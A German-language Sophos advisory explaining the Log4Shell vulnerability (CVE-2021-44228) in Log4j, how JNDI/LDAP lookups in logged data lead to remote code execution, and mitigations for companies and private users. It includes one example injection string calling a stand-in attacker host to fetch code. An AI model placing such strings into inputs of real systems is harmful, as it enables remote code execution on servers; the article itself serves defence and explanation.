Java-Schwachstelle Log4Shell – Was passiert ist und was zu tun ist

Letzten Freitag war es wieder so weit und nach prominenten Zero-Day-Schwachstellen wie Hafnium, Kaseya oder Solarwinds müssen sich Unternehmen erneut dringend mit einer hochkarätigen Server-Schwachstelle namens Log4Shell auseinandersetzen. Sophos klärt die wichtigsten Fakten und sagt, was zu tun ist – für Unternehmen UND für Privatpersonen.

Der Name Log4Shell bezieht sich auf die Tatsache, dass der ausgenutzte Fehler in einer beliebten Java-Codebibliothek namens Log4j (Logging for Java) enthalten ist, und darauf, dass Angreifer, wenn sie die Lücke erfolgreich ausnutzen, praktisch eine Shell erhalten – also die Möglichkeit, jeden System Code ihrer Wahl auszuführen.

Und als ob diese Kommandogewalt noch nicht genug wäre, wurde die Sicherheitslücke als Zero-Day-Lücke getwittert, also als Sicherheitsfehler, der dokumentiert wird, bevor ein Patch zur Verfügung steht. Zudem wurde das Proof-of-Concept (PoC) auf GitHub veröffentlicht und das Problem damit weltweit bekannt, während es noch ungepatcht war. Entsprechend laut läuten seit Freitag weltweit die Alarmglocken und auch in Deutschland hat z.B. das BSI die Warnstufe Rot ausgerufen.

Unsachgemäße Eingabevalidierung

Die Schwachstelle, mittlerweile offiziell als CVE-2021-44228 bekannt, hat ihren Ursprung in einer harmlosen Anfragesendung an einen anfälligen Server, die einige Daten – beispielsweise einen HTTP-Header – einschließt, von denen die Cyberkriminellen erwarten (oder sogar wissen), dass der Server sie in seine Logdatei schreibt. Die so eingeschleusten Daten bilden eine versteckte „Sprengfalle“, da der Server, während er die Daten in ein für die Protokollierung geeignetes Format umwandelt, einen Web-Download als integralen Bestandteil der Erstellung des erforderlichen Protokolleintrags startet. Und diese Aktion hat es in sich, denn wenn die zurückkommenden Daten ein gültiges Java-Programm sind (eine .class-Datei, im Jargon), dann führt der Server diese Datei aus, um ihm bei der Generierung der Protokolldaten zu helfen.

Der Trick besteht darin, dass ungepatchte Versionen der Log4j-Bibliothek standardmäßig Protokollierungsanforderungen ermöglichen, um allgemeine LDAP-Suchen (Verzeichnisdienste) sowie verschiedene andere Online-Suchen auszulösen. Dieses „Feature“ existiert, um dabei zu helfen, nicht sehr nützliche Daten, zum Beispiel Benutzer-IDs wie OZZJ5JYPVK, in menschenlesbare Informationen umzuwandeln, die in Ihrem Netzwerk sinnvoll sind, wie beispielsweise Peter Müller. Diese Anfragen erfolgen über ein häufig verwendetes Java-Toolkit namens JNDI, kurz für Java Naming and Directory Interface.

Dieses Vorgehen ist so lange tragbar, wie die protokollierten Daten, die eine Ausführung von serverseitigem Code auslösen können, auf Verzeichnisserver im eigenen Netzwerk beschränkt sind. Allerdings sind viel Server nicht entsprechend eingerichtet, und so könnten bösartige „Logsploiter“ versuchen, Text wie {$jndi:ldap://dodgy.example:389/badcode} in die Daten einzubetten, von denen sie erwarten, dass Unternehmen sie protokollieren und Server dabei automatisch

• JNDI verwenden, um eine LDAP-Anfrage an den angegebenen Port (in unserem Beispiel 389) auf dem angegebenen nicht vertrauenswürdigen externen Server zu senden.
• den nicht vertrauenswürdigen Inhalt in den Standort Badcode abrufen.
• den vom Angreifer bereitgestellten Code ausführen, um „Hilfe“ bei der Protokollierung zu erhalten.

Einfach ausgedrückt, wird dieses Vorgehen im Fachjargon als nicht authentifizierte Remote Code Execution (RCE) bezeichnet. Ohne sich anzumelden oder ein Passwort oder Zugriffstoken zu benötigen, könnten Cyberkriminelle eine harmlos aussehende Anfrage verwenden, um Server dazu zu bringen, sich zu melden, ihren Code herunterzuladen und sich so mit ihrer Malware zu infizieren. Je nachdem, welche Zugriffsrechte ein Server auf das interne Netzwerk hat, kann eine solche RCE Cyberkriminellen dabei helfen, eine Vielzahl schädlicher Aufgaben auszuführen.

Und genau das macht die aktuelle Schwachstelle Log4Shell so gefährlich. Angreifer können theoretisch Daten vom Server selbst abfließen lassen; Details über das interne Netzwerk erfahren, Daten auf dem Server ändern; Daten von anderen Servern im Netzwerk exfiltrieren; zusätzliche Hintertüren auf dem Server oder dem Netzwerk für zukünftige Angriffe einrichten oder weitere Malware wie Netzwerk-Snooper, Memory Scraper, Data Stealer und Cryptominer installieren.

Was ist zu tun?

Lizenzgeber Apache hat zu diesem Thema einen praktischen Sicherheitshinweis veröffentlicht. Sophos fasst außerdem noch einmal das Wichtigste zusammen:

• Upgrade auf Apache Log4j 2.15.0. Wenn Sie Log4j verwenden, ist jede 2.x-Version von 2.14.1 und früher anscheinend standardmäßig anfällig. (Wenn Sie noch Log4j 1.x verwenden, ist ebenfalls ein Upgrade Pflicht, da es nicht mehr mit Updates versorgt wird).
• Blockieren der Möglichkeit, dass JNDI Anfragen an nicht vertrauenswürdige Server stellt. Wenn Sie nicht aktualisieren können, aber Log4j 2.10.0 oder höher verwenden, können Sie den Konfigurationswert log4j2.formatMsgNoLookups auf true setzen, was das Ausgehen von LDAP und ähnlichen Abfragen von vornherein verhindert.
• Überprüfung der verwendeten Java-Laufzeitumgebung. Der zugrunde liegende Java Build, den Sie nutzen, verhindert möglicherweise, dass dieser Fehler basierend auf seiner eigenen Standardkonfiguration ausgelöst wird. Apache listet beispielsweise Oracle Java 8u121 explizit als Schutz vor diesem RCE auf.

Betrifft die Sicherheitslücke auch private Nutzer?

Log4Shell bedeutet nicht nur Alarmstufe Rot für Unternehmen, sondern auch private Nutzer können durchaus von den Auswirkungen der Lücke betroffen sein. Das gilt vor allem dann, wenn Privatpersonen Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem anderen Managed-Service-Provider betrieben werden – sei es ein Blog, ein Forum oder die Familienwebsite. Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind. Aktuell macht es sicherlich mehr Sinn, auf den entsprechenden Webseiten nach Informationen zu suchen, da die Anbieter höchstwahrscheinlich momentan von Emails überflutet werden.

Zusätzlich sollte auf offizielle Sicherheitswarnungen von genutzten Online-Diensten im Postfach geachtet werden…aber auch hier gilt es, Vorsicht walten zu lassen! Wenn Nutzer Nachrichten über die aktuelle Sicherheitslücke erhalten – eventuell noch von einem prominenten Serviceanbieter, sollten sie nicht automatisch auf die in der Warnmeldung angegeben Links klicken und auch keine Telefonnummern ohne kritische Prüfung wählen. Medienwirksame Cyberattacken wie Log4Shell rufen schnell Trittbrettfahrer auf den Plan, die die Angst der Nutzer für ihre Phishing-Attacken nutzen wollen. Im Zweifelsfall sollten Nutzer ihren eigenen Weg zu Informationsbeschaffung finden, indem sie URLs, E-Mail-Adressen oder Telefonnummern verwenden, die sie bereits früher genutzt haben.

Und hier noch weitere Einschätzungen unserer Experten

Sean Gallagher, Senior Threat Researcher bei Sophos: „Seit dem 9. Dezember hat Sophos Hunderttausende von Versuchen erkannt, Code mithilfe der Sicherheitslücke Log4Shell aus der Ferne auszuführen. Dabei handelte es sich zunächst um Proof-of-Concept (PoC) Exploit-Tests, sowohl von Sicherheitsforschers als auch potenziellen Angreifern, sowie viele Online-Scans in Bezug auf die Schwachstelle. Allerdings folgten schnell Versuche, sogenannte Coin-Miner zu installieren, darunter das Kinsing-Miner-Botnetz und auch .die von Amazon-Web-Service-Konten verwendeten Schlüssel stehen im Fokus. Zudem gibt es vermehrt Anzeichen dafür, dass Angreifer versuchen, die Schwachstelle auszunutzen, um Remotezugriffstools wie Cobalt Strike in Opfernetzwerken zu installieren, um potentielle Ransomware-Angriffe vorzubereiten.

Log4Shell stellt Verteidiger vor eine besondere Herausforderung. Viele Softwareschwachstellen sind auf ein bestimmtes Produkt oder eine bestimmte Plattform beschränkt, wie beispielsweise die ProxyLogon- oder ProxyShell-Schwachstellen in Microsoft Exchange. Sobald die Verteidiger wissen, welche Software anfällig ist, können sie sie überprüfen und patchen. Log4Shell ist jedoch eine Bibliothek, die von vielen Produkten verwendet wird. Es kann daher in den dunkelsten Ecken der Infrastruktur einer Organisation präsent sein, zum Beispiel in jeder selbst entwickelten Software. Das Auffinden aller Systeme, die aufgrund von Log4Shell anfällig sind, sollte eine Priorität für die IT-Sicherheit sein.

Sophos geht davon aus, dass sich die Geschwindigkeit, mit der sich Angreifer die Schwachstelle zunutze machen, in den kommenden Tagen und Wochen weiter intensiviert und diversifiziert. Hat sich ein Angreifer erst einmal den Zugang zu einem Netzwerk gesichert, ist leider fast alles möglich. Daher müssen IT-Sicherheitsteams, neben dem bereits von Apache in Log4j 2.15.0 veröffentlichten Software-Update eine gründliche Überprüfung der Aktivitäten im Netzwerk durchführen, um alle Spuren von Eindringlingen zu erkennen und zu entfernen, selbst wenn es nur nach lästiger Commodity-Malware aussieht.

Paul Ducklin, IT-Security-Experte bei Sophos: „Technologien wie IPS, WAF und intelligente Netzwerkfilterung tragen dazu bei, diese globale Schwachstelle unter Kontrolle zu bringen. Aber die unglaubliche Anzahl verschiedener Möglichkeiten, wie der Log4Shell-Triggertext kodiert werden kann, die große Anzahl verschiedener Stellen im Netzwerkverkehr, an denen diese Zeichenfolgen auftreten können, und die große Vielfalt an Servern und Diensten, die betroffen sein könnten, machen Log4Shell zu einer ganz besonderen Herausforderung für Sicherheitsexperten.“

Und wer nun immer noch auf der Suche nach mehr und detaillierten Infos in technischer Hinsicht ist, sollte sich die umfangreiche Analyse von Paul Ducklin zu Gemüte führen:.
Prädikat “Sehr empfehlenswert” für Leute, die es genau wissen wollen :-)